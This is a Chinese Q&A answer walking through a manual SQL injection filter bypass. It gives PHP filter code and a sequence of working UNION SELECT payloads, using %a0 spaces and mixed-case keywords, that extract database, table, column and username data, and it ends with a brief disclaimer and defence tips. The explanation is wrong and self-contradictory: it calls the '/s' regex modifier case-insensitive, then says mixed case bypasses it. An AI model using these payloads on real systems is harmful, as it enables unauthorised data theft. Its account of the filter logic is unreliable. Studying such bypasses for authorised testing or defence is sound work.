如何手动绕过SQL注入过滤器?(二)

如何手动绕过SQL注入过滤器?(二)
最新回答
喂,把心还给我

2021-12-12 11:49:17

手动绕过SQL注入过滤器(针对过滤UNION/union、SELECT/select、空格和注释的情况)的方法是使用大小写混合、特殊空格字符(如%a0)替代空格,并构造变形SQL语句来绕过过滤规则。 具体步骤如下:

  • 确认过滤规则目标系统通过正则表达式过滤了以下内容:

    注释符号:/*、--、#

    关键字:UNION/union、SELECT/select(不区分大小写)

    空格:直接移除空格字符

    示例过滤代码:

    $id=preg_replace('/[/*]/',"",$id); // 过滤 /*$id=preg_replace('/[-]/',"",$id); // 过滤 -$id=preg_replace('/[#]/',"",$id); // 过滤 #$id=preg_replace('/union/s',"",$id); // 过滤 union(不区分大小写)$id=preg_replace('/select/s',"",$id); // 过滤 select(不区分大小写)
  • 使用特殊空格字符替代空格系统过滤了普通空格,但未过滤URL编码的特殊空格字符(如%a0)。示例:将空格替换为%a0,使SQL语句保持语法正确性。

    0' %a0UnIon %a0SeLect 1,2,3 %a0AND '1=1

  • 混合大小写绕过关键字过滤系统通过/union/s和/select/s(s修饰符表示不区分大小写)过滤关键字,但可通过混合大小写(如UnIon、SeLect)构造变形语句。示例:

    0' %a0UnIon %a0SeLect 1,database(),3 %a0AND '1=1

  • 逐步获取数据库信息

    获取数据库名使用database()函数查询当前数据库名:

    0' %a0UnIon %a0SeLect 1,database(),3 %a0AND '1=1

    获取表名查询information_schema.tables表,获取当前数据库的所有表名:

    0' %a0UnIon %a0SeLect 1,group_concat(table_name),3 %a0from %a0information_schema.tables %a0where %a0table_schema=database() %a0AND '1=1

    获取列名查询information_schema.columns表,获取指定表(如users)的所有列名:

    0' %a0UnIon %a0SeLect 1,group_concat(column_name),3 %a0from %a0information_schema.columns %a0where %a0table_name='users' %a0AND '1=1

    获取数据直接查询目标表(如users)中的数据:

    0' %a0UnIon %a0SeLect 1,group_concat(username),3 %a0from %a0users %a0where %a0'1=1

  • 注意事项

    仅限学习研究:此类技术仅用于合法授权的安全测试,未经授权的SQL注入攻击可能违反法律。

    防御建议

    使用参数化查询(Prepared Statements)替代动态SQL拼接。

    实施最小权限原则,限制数据库用户权限。

    定期更新Web应用和数据库补丁,修复已知漏洞。